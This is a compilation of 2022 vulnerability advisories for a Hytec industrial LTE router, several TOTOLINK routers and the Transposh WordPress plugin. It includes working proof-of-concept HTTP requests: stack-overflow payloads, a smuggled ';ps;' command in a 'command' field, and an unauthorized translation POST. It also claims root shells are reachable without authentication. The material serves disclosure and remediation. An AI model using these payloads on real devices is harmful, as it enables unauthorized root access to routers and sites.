Hytec Inter HWL-2511-SS v1.05 and below implements a SHA512crypt hash for the root account which can be easily cracked via a brute-force attack.

**Hytec Inter HWL-2511-SS vulnerabilities.****Product Description:  
**

The HWL-2511-SS device from Hytec Inter is an industrial LTE router that can be used for remote data transmission such as collecting sensor data and checking surveillance camera images.

**Affected Products:**

All Hytec Inter HWL-2511-SS devices from version 1.05 and under.  

**Vulnerability Summary:**

*   Vulnerability 1 - Unauthenticated Remote Command Injection.  
    A vulnerability in the implementation of the ping command can allow an unauthenticated, remote attacker to perform a command injection attack. This vulnerability is due to insufficient validation of a process argument in the binary file /www/cgi-bin/popen.cgi. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with the root privileges.
    
*   Vulnerability 2 - SSH CLI Command Injection.  
    A vulnerability in the implementation of the CLI (command line interface) can allow a local attacker with low privilege to perform a command injection attack. This vulnerability is due to insufficient validation of a process argument in the binary file /usr/sbin/clishell. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with the root privileges.
    
*   Vulnerability 3 - Use of weak Hard-coded Cryptographic Key.  
    By default the HWL-2511-SS devices have a built-in weak SHA512crypt hash for the root account that can be recovered after a brute-force attack. This vulnerability can allow an external attacker to SSH the device or login to the web administration interface.
    

**Reproduction Steps:****1\. Unauthenticated Remote Command Injection.**

The endpoint /cgi-bin/popen.cgi can be called remotely without user authentication as there is no cookie verification Cookie: mgs=UUID to check if the request is legitimate. The second problem is that the GET parameter command can be injected to execute any Linux command. In the example below we create a crafted query that displays the contents of the /etc/shadow file.  

**2\. SSH CLI Command Injection.**

When a user login to SSH a custom binary file with limited commands is loaded /usr/sbin/clishell. In the example below we show how it is possible via the traceroute command to use a command injection payload and escape the custom CLI binary to spawn a real shell.  

**3\. Use of weak Hard-coded Cryptographic Key.**

After extracting the firmware image and then reverse engineering it, we found that the file /etc/shadow has a built-in SHA512crypt hash for the root user and only took us a few minutes to recover it by a brute-force attack..  

**Recommendation Fixes / Remediation:**

*   Vulnerability 1 and 2: Strengthen validation rules by checking if input contains only alphanumeric characters, no other syntax or whitespace, a whitelist of permitted values is also recommended. Please see the following link for more details: https://cwe.mitre.org/data/definitions/78.html  
    
*   Vulnerability 3: Need to generate a different password for each device. During the manufacturing process, set a randomly generated password, unique for each device (e.g. print the password on a sticker for local access). Risk: Since passwords are shared among devices, an attacker able to crack the passwords once (e.g. with physical access to the device) can access all reachable devices. Please see the following link for more details: https://cwe.mitre.org/data/definitions/1188.html

**Vulnerable Devices Found:**

As of 8Aug2022, there were 77 Hytec Inter HWL-2511-SS LTE router devices exposed to the internet and were affected by the vulnerabilities discovered.

**Reference:**

https://hytec.co.jp/eng/products/our-brand/hwl-2511-ss.html  
https://hytec.co.jp/eng/wordpress/wp-content/uploads/2019/09/hwl-2511-ss-ds.3.0.pdf

**Security researchers:**

*   Thomas Knudsen
*   Samy Younsi

CVE-2022-36555: hytec-HWL-2511-SS.md

Threat Roundup for August 19 to August 26

TOTOLINK A7000R V9.1.0u.6115_B20201022 was discovered to contain a stack overflow via the command parameter at setting/setTracerouteCfg.

**TOTOLink A7000R V9.1.0u.6115\_B20201022 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： https://www.totolink.net/home/menu/detail/menu\_listtpl/download/id/171/ids/36.html

**Product Information**

TOTOLink A7000R V9.1.0u.6115\_B20201022 router, the latest version of simulation overview：

**Vulnerability details**

Var is formatted into V6 through sprintf function, and Var is the value of command we enter. The size of the format string is not limited, resulting in stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 561
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"topicurl": "setting/setTracerouteCfg","command": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
    

The above figure shows the POC attack effect

As shown in the figure above, we can hijack PC registers.

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-37080: vuln/TOTOLINK/A7000R/8 at main · Darry-lang1/vuln

TOTOLINK A7000R V9.1.0u.6115_B20201022 was discovered to contain a command injection vulnerability via the command parameter at setting/setTracerouteCfg.

**TOTOLink A7000R V9.1.0u.6115\_B20201022 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： https://www.totolink.net/home/menu/detail/menu\_listtpl/download/id/171/ids/36.html

**Product Information**

TOTOLink A7000R V9.1.0u.6115\_B20201022 router, the latest version of simulation overview：

**Vulnerability details**

TOTOLINK A7000R (V9.1.0u.6115\_B20201022) was found to contain a command insertion vulnerability in setTracerouteCfg.This vulnerability allows an attacker to execute arbitrary commands through the "command" parameter.

Format Var into V6 using sprintf function and pass in dosystem function.

The dosystem function is finally found to be implemented in this file by string matching.

Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 52
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"command":";ps;","num":"1","topicurl":"setTracerouteCfg"}
    

The above figure shows the POC attack effect

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-37081: vuln/TOTOLINK/A7000R/2 at main · Darry-lang1/vuln

TOTOLINK N350RT V9.3.5u.6139_B20201216 was discovered to contain a command injection vulnerability via the command parameter in the function setTracerouteCfg.

**TOTOLink N350RT V9.3.5u.6139\_B20201216 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： https://www.totolink.net/home/menu/detail/menu\_listtpl/download/id/206/ids/36.html

**Product Information**

TOTOLink N350RT V9.3.5u.6139\_B20201216 router, the latest version of simulation overview：

**Vulnerability details**

TOTOLINK N350RT (V9.3.5u.6139\_B20201216) was found to contain a command insertion vulnerability in setTracerouteCfg.This vulnerability allows an attacker to execute arbitrary commands through the "command" parameter.

Format Var into V6 using sprintf function and pass in dosystem function.

The dosystem function is finally found to be implemented in this file by string matching.

Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 52
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"command":";ps;","num":"1","topicurl":"setTracerouteCfg"}
    

The above figure shows the POC attack effect

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-36487: vuln/TOTOLINK/N350RT/2 at main · Darry-lang1/vuln

TOTOLINK N350RT V9.3.5u.6139_B20201216 was discovered to contain a stack overflow via the command parameter in the function setTracerouteCfg.

**TOTOLink N350RT V9.3.5u.6139\_B20201216 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： https://www.totolink.net/home/menu/detail/menu\_listtpl/download/id/206/ids/36.html

**Product Information**

TOTOLink N350RT V9.3.5u.6139\_B20201216 router, the latest version of simulation overview：

**Vulnerability details**

Var is formatted into V6 through sprintf function, and Var is the value of command we enter. The size of the format string is not limited, resulting in stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 561
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"topicurl": "setting/setTracerouteCfg","command": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
    

The above figure shows the POC attack effect

As shown in the figure above, we can hijack PC registers.

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-36480: vuln/TOTOLINK/N350RT/8 at main · Darry-lang1/vuln

TOTOLINK A3700R V9.1.2u.6134_B20201202 was discovered to contain a stack overflow via the command parameter in the function setTracerouteCfg.

Permalink

Cannot retrieve contributors at this time

**TOTOLink A3700R V9.1.2u.6134\_B20201202 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=69&ids=36

**Product Information**

TOTOLink A3700R V9.1.2u.6134\_B20201202 router, the latest version of simulation overview：

**Vulnerability details**

Var is formatted into V6 through sprintf function, and Var is the value of command we enter. The size of the format string is not limited, resulting in stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 561
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Cookie: SESSION_ID=2:1658224702:2
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"topicurl": "setting/setTracerouteCfg","command": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
    

The above figure shows the POC attack effect

As shown in the figure above, we can hijack PC registers.

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-36463: vuln/readme.md at main · Darry-lang1/vuln

TOTOLINK A3700R V9.1.2u.6134_B20201202 was discovered to contain a command injection vulnerability via the command parameter in the function setTracerouteCfg.

Permalink

**TOTOLink A3700R V9.1.2u.6134\_B20201202 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=69&ids=36

**Product Information**

TOTOLink A3700R V9.1.2u.6134\_B20201202 router, the latest version of simulation overview：

**Vulnerability details**

TOTOLINK A3700R (V9.1.2u.6134\_B20201202) was found to contain a command insertion vulnerability in setTracerouteCfg.This vulnerability allows an attacker to execute arbitrary commands through the "command" parameter.

Format var into V6 using sprintf function and pass in dosystem function.

The dosystem function is finally found to be implemented in this file by string matching.

Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 52
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Cookie: SESSION_ID=2:1658224702:2
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"command":";ps;","num":"1","topicurl":"setTracerouteCfg"}
    

The above figure shows the POC attack effect

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-36458: vuln/readme.md at main · Darry-lang1/vuln

Transposh WordPress Translation versions 1.0.8.1 and below suffer from an incorrect authorization vulnerability.

RCE Security Advisory  
https://www.rcesecurity.com

1. ADVISORY INFORMATION  
=======================  
Product:        Transposh WordPress Translation  
Vendor URL:     https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/  
Type:           Incorrect Authorization [CWE-863]  
Date found:     2022-07-23  
Date published: 2022-08-16  
CVSSv3 Score:   7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)  
CVE:            CVE-2022-2536

2. CREDITS  
==========  
This vulnerability was discovered and researched by Julien Ahrens from  
RCE Security.

3. VERSIONS AFFECTED  
====================  
Transposh WordPress Translation 1.0.8.1 and below

4. INTRODUCTION  
===============  
Transposh translation filter for WordPress offers a unique approach to blog  
translation. It allows your blog to combine automatic translation with human  
translation aided by your users with an easy to use in-context interface.

(from the vendor's homepage)

5. VULNERABILITY DETAILS  
========================  
When installed, Transposh comes with a set of pre-configured options; one of these  
is the "Who can translate" setting under the "Settings" tab. However, this option  
is ignored if Transposh has enabled its "autotranslate" feature (it's enabled by  
default) and the HTTP POST parameter "sr0" is larger than 0. This is caused by a  
faulty validation in "wp/transposh_db.php":

if (!$by && !($all_editable &&  
        ($this->transposh->is_translator() || ($source > 0 && $this->transposh->options->enable_autotranslate)))) {  
    tp_logger("Unauthorized translation attempt " . $_SERVER['REMOTE_ADDR'], 1);  
    header("HTTP/1.0 401 Unauthorized translation");  
    exit;  
}

Successful exploits can allow an unauthenticated attacker to bypass the Transposh  
permissions and add translations to the WordPress site, thereby influencing what  
is shown on the site. However, this only affects new translations.

6. PROOF OF CONCEPT  
===================  
The following Proof-of-Concept adds a new translation

POST /wp-admin/admin-ajax.php HTTP/1.1  
Host: [host]  
Content-Length: 74  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
User-Agent: Mozilla/5.0  
Connection: close

action=tp_translation&ln0=en&sr0=1&items=1&tk0=translation&tr0=translation

7. SOLUTION  
===========  
None. Remove the plugin to prevent exploitation.

8. REPORT TIMELINE  
==================  
2022-07-23: Discovery of the vulnerability  
2022-07-23: CVE requested from Wordfence (CNA)  
2022-07-25: Wordfence assigns CVE-2022-2536  
2022-08-09: Sent note to vendor  
2022-08-09: Vendor is aware of this bug, but there is no plan to fix it yet  
2022-08-16: Public Disclosure

9. REFERENCES  
=============  
https://github.com/MrTuxracer/advisories

Transposh WordPress Translation 1.0.8.1 Incorrect Authorization

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